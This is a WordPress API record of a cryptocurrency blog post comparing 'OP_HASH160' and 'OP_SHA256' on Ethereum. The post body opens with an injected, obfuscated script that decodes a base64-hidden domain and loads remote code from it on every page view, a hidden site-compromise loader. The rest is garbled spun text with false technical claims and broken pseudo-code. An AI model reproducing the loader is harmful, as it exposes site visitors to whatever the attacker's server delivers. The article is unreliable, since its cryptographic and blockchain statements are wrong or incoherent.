{"id":9689,"date":"2025-02-08T21:34:56","date_gmt":"2025-02-08T21:34:56","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9689"},"modified":"2025-02-08T21:34:56","modified_gmt":"2025-02-08T21:34:56","slug":"ethereum-op_hash160-vs-op_sha256","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9689","title":{"rendered":"Ethereum: OP_HASH160 vs OP_SHA256"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=6921035f\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Ethereum&#8217;s understanding of two bag features: op_hashashashashasha256 <\/strong><\/p>\n<\/p>\n<p>Ethereum Blockchain uses two bag features, each with its strengths and weaknesses to protect and inspect operations. In this article, we will divide the differences between the op_hashashashashashaashaashaashashashashashas256, explaining the consumption over you and the Woods.<\/p>\n<\/p>\n<p><strong> What are the functions of the bag? <\/strong><\/p>\n<\/p>\n<p>In the context of the bag function in the context of Ethereum, Abu Op_hashash160 and OP_SH256 are used for notification and data integrity.<\/p>\n<\/p>\n<p><strong> OPHASH160: <\/strong><\/p>\n<\/p>\n<p><strong>* Version: <\/strong> Delivered BIP 0012<\/p>\n<\/p>\n<p><strong>* Description: <\/strong> bag function based on Sha-2<\/p>\n<\/p>\n<p><strong>* Basic properties: <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: OP_HASH160 vs OP_SHA256\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/524eb298.png\"><\/p>\n<\/p>\n<p>\t+ Uses 20 bytes input block (128 bits)<\/p>\n<\/p>\n<p>\t+ Signed with a private key using ECDSA (Elipse curve digital signature algorithm)<\/p>\n<\/p>\n<p>\t+ More resistant to collisions and transfer attacks due to its length<\/p>\n<\/p>\n<p><strong>* Why op_hash160? <\/strong><\/p>\n<\/p>\n<p>1<\/p>\n<\/p>\n<ul>\n<li><strong> easier to implement: <\/strong> Because OPHASH160 users Sha-256, it is accepted and too much, implementing the op_hashashashashashhashashashhashashash.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong> better resistance to collisions: <\/strong><\/li>\n<\/ul>\n<\/p>\n<p><strong> op_sha256: <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/XLXiRYsoZEk\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p><strong>* Version: <\/strong> Delivered BIP 0013<\/p>\n<\/p>\n<p><strong>* Description: <\/strong> Magna Function Sha-256 (the same as ECDSA)<\/p>\n<\/p>\n<p><strong>* Basic properties: <\/strong><\/p>\n<\/p>\n<p>\t+ Uses a variable length input block in UPS<\/p>\n<\/p>\n<p>\t+ Signed with a private key using ECDSA<\/p>\n<\/p>\n<p>\t+ Less resistant to collisions and hostages to attacks due to its dynamic length<\/p>\n<\/p>\n<p><em>*<\/em> Why op_sha256?*<\/p>\n<\/p>\n<p>1<\/p>\n<\/p>\n<p>2.<\/p>\n<\/p>\n<p><strong> When up to 160: <\/strong><\/p>\n<\/p>\n<p>&#8211;<\/p>\n<\/p>\n<p>20 ons.<\/p>\n<\/p>\n<p><strong> When VE OPSHA256: <\/strong><\/p>\n<\/p>\n<p>1<\/p>\n<\/p>\n<p>&#8211;<\/p>\n<\/p>\n<p><strong> Example Scripts unlock: <\/strong><\/p>\n<\/p>\n<p>&#8220;Gere&#8221; are some examples of BIP 199 scenarios that come to the OPHASHASH160 and OP_SH256 to authenticate the message:<\/p>\n<\/p>\n<p>OPHASH160:<\/p>\n<\/p>\n<p>`<code><\/code>c<\/p>\n<\/p>\n<p>Contract from unlocking (<\/p>\n<\/p>\n<p>    BOS32 _INPUT,<\/p>\n<\/p>\n<p>    Eddress _privatekey,<\/p>\n<\/p>\n<p>    BYS _signature<\/p>\n<\/p>\n<p>) {{{<\/p>\n<\/p>\n<p>    \/\/ Check Signature Use ECDSA (ECDSA Used by BYD)<\/p>\n<\/p>\n<p>    Require Ecdsaverify (_signature, _privatekey, _input);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>Function _ecdsaverify (ITES Memory _Signature, DDDRESS _PRIVATEKEY, BYS32 _INPUT)<\/p>\n<\/p>\n<p>    \/\/ &#8230; (ECDSA Confirmation Logic)<\/p>\n<\/p>\n<p>    \/\/ Check the input Use Sha-2<\/p>\n<\/p>\n<p>    Require Sha256 (_input) .equals (_sigganta);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>OP_SHA256:<\/p>\n<\/p>\n<p>`<code><\/code>c<\/p>\n<\/p>\n<p>Contract from unlocking (<\/p>\n<\/p>\n<p>    BOS32 _INPUT,<\/p>\n<\/p>\n<p>    Eddress _privatekey,<\/p>\n<\/p>\n<p>    BYS _signature<\/p>\n<\/p>\n<p>) {{{<\/p>\n<\/p>\n<p>    \/\/ Check Signature Use ECDSA (ECDSA Used by BYD)<\/p>\n<\/p>\n<p>    Require Ecdsaverify (_signature, _privatekey, _input);<\/p>\n<\/p>\n<p>    \/\/ Check the input Use Sha-2<\/p>\n<\/p>\n<p>    Require Sha256 (_input) .equals (_sigganta);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>Summarizing, White_hashashashashasha256 provides unique strings and weaknesses, posture,<\/p>\n<p><a href=\"https:\/\/edvdo.com\/ethereum-life-cycle-of-a-blob\/\">ethereum cycle blob<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum&#8217;s understanding of two bag features: op_hashashashashasha256 Ethereum Blockchain uses two bag features, each with its strengths and weaknesses to protect and inspect operations. In this<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9689","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9689","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9689"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9689\/revisions"}],"predecessor-version":[{"id":9690,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9689\/revisions\/9690"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9689"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9689"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9689"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}